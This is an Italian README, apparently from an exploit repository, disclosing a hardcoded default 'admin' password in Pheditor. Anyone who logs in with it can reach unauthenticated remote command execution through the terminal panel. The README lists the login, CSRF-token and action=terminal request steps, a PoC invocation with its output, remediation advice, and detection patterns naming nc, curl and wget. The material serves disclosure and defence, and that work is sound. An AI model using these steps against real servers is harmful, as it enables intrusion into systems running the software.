CVE-2026-55579 — Pheditor Password Predefinita Hardcoded RCE

TL;DR: Pheditor (tutte le versioni) include una password predefinita hardcoded (admin) incorporata nel codice sorgente. Non viene forzato alcun cambio password al primo login, solo un avviso visivo. Qualsiasi attaccante non autenticato può accedere come admin e abusare del pannello terminale integrato (action=terminal) per eseguire comandi OS arbitrari con i privilegi del server web. Combinato con le capacità di caricamento file, ciò produce Esecuzione Remota di Codice (RCE) non autenticata.

Indice

1. Panoramica della Vulnerabilità
2. La Causa Principale
3. Flusso di Sfruttamento
4. Avvio Rapido e Riproduzione
5. Impatto
6. Rimedio
7. Rilevamento
8. Crediti e Disclaimer

Panoramica della Vulnerabilità

La Causa Principale

La vulnerabilità deriva da un hash SHA‑512 hardcoded della password admin all'interno di pheditor.php (riga 11):

define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec');

Questo hash corrisponde a:

echo -n 'admin' | sha512sum

Perché questo è un game over:

1. La password non è mai forzata al cambio – l'applicazione mostra solo un banner di avviso (righe 1956–1958 in pheditor.php).
2. Con admin/admin, un attaccante può accedere e ottenere pieno accesso a:
   • Pannello terminale – esegue comandi sistema arbitrari (action=terminal)
   • Caricamento file – carica file arbitrari (action=upload)
   • Editor file – legge e scrive qualsiasi file all'interno dei permessi del server web (action=open/action=save)

Non c'è limitazione di velocità, blocco, né alcun fattore di autenticazione aggiuntivo.

Flusso di Sfruttamento

L'attacco è estremamente semplice e non richiede alcuna ipotesi:

1. Autenticazione – invia una richiesta POST a pheditor.php con pheditor_password=admin. Il server imposta un cookie di sessione.
2. Estrazione del token CSRF – recupera la pagina principale e analizza la variabile JavaScript token.
3. RCE tramite Terminale – invia una richiesta POST con:
   • action=terminal
   • token=<estratto>
   • command=<comando OS>
   • dir= (opzionale)
4. Uscita – l'output del comando viene restituito all'interno di tag HTML <pre> e può essere analizzato pulitamente.

In alternativa, l'attaccante può caricare una web shell o sovrascrivere file dell'applicazione.

Avvio Rapido e Riproduzione

1. Avvia il Laboratorio Vulnerabile

Clona il repository ufficiale e avvia un server locale:

git clone https://github.com/pheditor/pheditor.git /tmp/pheditor
cd /tmp/pheditor
php -S localhost:8080 pheditor.php &

2. Esegui il PoC

L'exploit Python fornito si basa solo sulla libreria standard di Python (nessuna dipendenza esterna). Include CLI basata su argparse, gestione avanzata degli errori, modalità verbose e controllo del timeout.

python3 exploit.py http://localhost:8080/pheditor.php "id; hostname; whoami"

3. Uscita Prevista

[*] Logging in with password: admin
[+] Login successful
[*] Extracting CSRF token...
[+] Token: a1b2c3d4e5f6...
[*] Executing: id; hostname; whoami

==================================================
Command Output:
==================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ubuntu
www-data
==================================================

Impatto

Uno sfruttamento riuscito concede all'attaccante:

• Accesso completo al filesystem (lettura/scrittura/cancellazione) – compromissione del codice dell'applicazione, configurazione e dati.
• Esecuzione di comandi arbitrari – permette di installare backdoor, spostarsi su reti interne o esfiltrare informazioni sensibili.
• Escalation dei privilegi – se il server web viene eseguito come utente privilegiato (spesso root), l'attaccante ottiene il controllo completo dell'host.
• Perdita totale di riservatezza, integrità e disponibilità – come riflesso dal punteggio CVSS.

Considerando che Pheditor è spesso utilizzato in ambienti di sviluppo o come file manager leggero, gli attaccanti possono facilmente trovarlo e sfruttarlo per ottenere punti di appoggio iniziali.

Rimedio

1. Azione immediata: Cambia la password predefinita immediatamente dopo l'installazione. Utilizza una password forte e unica.
2. Disabilita la funzionalità terminale se non strettamente necessaria (rimuovi il pannello terminale dall'interfaccia o aggiungi un flag di configurazione per disabilitarlo).
3. Applica la patch del fornitore non appena disponibile (il manutentore è stato avvisato ed è prevista una correzione).
4. Difesa a strati:
   • Limita l'accesso all'interfaccia di Pheditor tramite whitelist IP o VPN.
   • Esegui il server web con un utente con privilegi minimi (non root).
   • Monitora i log di accesso per pattern sospetti (es. pheditor_password=admin).

Rilevamento

Monitora il tuo ambiente per indicatori di compromissione:

• Log di accesso: Cerca richieste POST a pheditor.php con pheditor_password=admin o action=terminal.
• Modifiche ai file: Nuovi file inaspettati (es. web shell) o modifiche ai file esistenti dell'applicazione.
• Esecuzione di processi: Comandi insoliti eseguiti dall'utente del server web, specialmente quelli che coinvolgono sh, bash, nc, curl o wget.
• Connessioni in uscita: Il server web stabilisce connessioni in uscita inaspettate (reverse shell, esfiltrazione dati).

Per un approfondimento sulla catena di sfruttamento e payload aggiuntivi, consulta ANALYSIS.md.

Crediti e Disclaimer

• Proprietario del repository: Ch4120N
• Sviluppo e Ricerca dell'Exploit: Ch4120N
• Riferimento Advisory: GHSA-p4h7-p9rj-2pq2

Disclaimer: Questo repository contiene un Proof of Concept (PoC) destinato strettamente a scopi difensivi, educativi e di test di sicurezza autorizzati. Non utilizzare questo codice contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione scritta. Gli autori non si assumono alcuna responsabilità per un uso improprio.